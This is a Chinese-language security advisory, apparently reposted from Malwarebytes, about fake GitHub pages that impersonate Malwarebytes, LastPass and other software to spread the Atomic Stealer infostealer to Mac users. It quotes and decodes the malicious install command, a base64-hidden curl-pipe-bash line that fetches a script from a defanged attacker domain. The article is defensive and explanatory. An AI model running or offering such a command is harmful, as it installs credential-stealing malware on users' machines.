GitHub 上存在虚假 Malwarebytes、LastPass 和其他恶意软件

B站影视 港台电影 2025-09-24 08:12 2

摘要:在这种情况下,网络犯罪分子的目标是传播信息窃取程序。他们不久前就发现,感染 Mac 电脑最简单的方法就是让用户自行安装恶意软件,而Atomic Stealer(又名 AMOS)正是 Mac 电脑的首选信息窃取程序。

目前,合法软件的假冒版本正在 GitHub 页面上流传,这是一场针对 Mac 用户的大规模攻击活动。

不幸的是,Malwarebytes for Mac 就是其中之一。

令人遗憾的是,冒充品牌的现象屡见不鲜,骗子们会利用知名品牌来锁定目标。这并不是什么新鲜事,但我们始终希望在发现此类事件时,务必提醒您。

在这种情况下,网络犯罪分子的目标是传播信息窃取程序。他们不久前就发现,感染 Mac 电脑最简单的方法就是让用户自行安装恶意软件,而Atomic Stealer(又名 AMOS)正是 Mac 电脑的首选信息窃取程序。

LastPass 威胁情报团队发布了有关此次攻击活动的信息,所有被冒充的软件都遵循类似的模式。有时,攻击的起点是谷歌赞助广告(我们之前说过我们不喜欢这种广告吗?哦,是的,我们说过!),这些广告指向的是 GitHub,而不是开发者的官方页面。

但在其他不太明显的情况下,您可能会看到如下搜索结果:

当我明确搜索“Malwarebytes Github macOS”时,这些内容才会出现在搜索结果的顶部,但众所周知,网络犯罪分子已经使用搜索引擎优化 (SEO) 技术来让他们的列表在搜索结果中排名更高。

这个想法是让有抱负的用户点击专用 GitHub 页面上的“获取恶意软件字节”按钮。

如果有人点击该按钮,他们就会进入一个下载页面,其中包含有关如何安装假冒产品的说明,而假冒产品实际上是一个信息窃取程序。

Malwarebytes for Mac 的终端安装说明指向最近注册的域名,但幸运的是我们的浏览器防护装置还是阻止了它。

以下是向访客提供的说明的技术细节:

/bin/bash -c ""在 macOS 或 Linux 上使用 Bash shell 运行命令。Bash 是 shell 命令的解释器。引号中的部分使用$( ... )。其中的所有内容都会首先执行;其输出成为外部命令的一部分。$(echo aHR0cHM6Ly9nb3NyZWVzdHIuY29tL2h1bi9pbnN0YWxsLnNo | base64 -d) echo ... | base64 -d解码长字符串。curl -fsSL 是从网络下载数据的命令。选项含义如下:-f:HTTP 错误静默失败。-s:静默模式(无进度条)。-S:如果使用 -s,则显示错误。-L:遵循重定向。

所以,把所有这些放在一起:

内部命令变成:curl -fsSL https://gosreestr[.]com/hun/install.sh外部命令变为:/bin/bash -c "$(curl -fsSL https://gosreestr[.]com/hun/install.sh)"

因此,完整的命令告诉系统直接从外部服务器下载脚本并立即使用 Bash 执行它。

这对用户来说在很多层面上都是危险的。由于没有提示或审核,用户在下载的脚本运行之前没有机会查看或评估其功能。由于使用了命令行,它可以绕过安全措施,绕过正常的文件下载保护,执行攻击者想要的任何操作。

ThreatDown和 Malwarebytes for Mac都能检测并阻止此 Atomic Stealer 变种及其他许多变种,但最好不要下载它。以下是一些关于如何确保安全的黄金准则:

切勿运行从随机页面或论坛复制粘贴的命令,即使它们位于看似合法的 GitHub 页面上,尤其不要使用涉及 curl ... | bash 或类似组合的命令。务必从官方开发者页面下载软件。如果他们没有提供下载链接,请与他们确认。避免使用赞助搜索结果。最好的情况是,它们会让你寻找的公司损失金钱;最坏的情况是,你会成为冒名顶替者的牺牲品。

来源:Web3软件开发一点号

相关推荐